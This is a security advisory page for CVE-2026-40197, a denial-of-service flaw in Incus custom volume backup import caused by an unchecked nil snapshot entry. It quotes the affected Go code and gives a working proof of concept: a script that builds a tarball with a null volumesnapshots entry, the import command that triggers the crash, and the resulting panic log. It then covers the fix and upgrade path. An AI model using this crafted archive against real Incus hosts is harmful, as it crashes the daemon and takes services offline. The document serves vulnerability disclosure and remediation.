CVE-2026-40197: Incus nil-pointer dereference in custom volume import allows denial of service

Published May 4, 2026
·
Updated

Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volumesnapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) error { [...] // Create database entries for new storage volume snapshots. for , s := range srcBackup.Config.VolumeSnapshots { snapshot := s // Local var for revert. snapName := snapshot.Name

// Due to a historical bug, the volume snapshot names were sometimes written in their full form // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both. if internalInstance.IsSnapshot(snapshot.Name) { , snapName, = api.GetParentAndSnapshotName(snapshot.Name) }

fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName) snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

// Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, snapVol.ContentType(), true, true) if err != nil { return err }

reverter.Add(func() { = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) }) } [...] }

PoC The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volumesnapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volumesnapshots array containing a literal null entry.

Commands: cat <<EOF > pocnilsnapshot.sh #!/bin/bash set -e

echo "[] Building null snapshot dereference payload..."

mkdir -p backup/volume mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml name: panic-nil-snap backend: dir pool: default type: custom snapshots: - snap0 config: volume: name: panic-nil-snap type: custom contenttype: filesystem config: {} volumesnapshots: - null EOT

tar -czf exploitnullsnapshot.tar.gz backup/ rm -rf backup/

echo "[+] PoC Tarball Created: exploitnullsnapshot.tar.gz" EOF

bash pocnilsnapshot.sh

Result: [+] PoC Tarball Created: exploitnullsnapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command: incus storage volume import default exploitnullsnapshot.tar.gz

Result: Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command: journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result: panic: runtime error: invalid memory address or nil pointer dereference github.com/lxc/incus/v6/internal/server/storage.(backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3] Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]: Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03 Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/cmd/incusd/storagevolumes.go:2715 +0x3f4 Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(Operation).Start.func1(0x31c86f758140) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26 Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(Operation).Start in goroutine 5783 Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105 Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Other sources

Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The custom volume backup import subsystem contains a nil-pointer dereference vulnerability during import operations. In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots and assumes that each slice element is initialized, then dereferences fields such as Name, Config, Description, CreatedAt, and ExpiresAt without first validating the element itself. Because the yaml unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an attacker can supply a backup archive containing a null entry in the volumesnapshots array. This causes a nil-pointer dereference during custom volume import and terminates the daemon, resulting in denial of service on the affected node. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/lxc/incus/v6/cmd/incusd<7.0.0
7.0.0
linuxcontainers Incus<7.0.0

Event History

May 4, 2026
Advisory Published
via GitHub·05:45 PM
Data Sourced
via GitHub·05:45 PM
DescriptionSeverityWeaknessAffected Software
May 6, 2026
CVE Published
via MITRE·08:36 PM
Data Sourced
via MITRE·08:36 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40197?

CVE-2026-40197 has a high severity level due to the potential for denial of service attacks.

2

How do I fix CVE-2026-40197?

To fix CVE-2026-40197, upgrade to Incus version 7.0.0 or later, which includes validation logic improvements.

3

Who is affected by CVE-2026-40197?

Authenticated users with access to Incus' storage volume feature are affected by CVE-2026-40197.

4

What type of vulnerability is CVE-2026-40197?

CVE-2026-40197 is a denial of service vulnerability caused by missing validation logic.

5

What happens if CVE-2026-40197 is exploited?

Exploitation of CVE-2026-40197 can lead to the Incus daemon crashing and potentially keeping the service offline.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203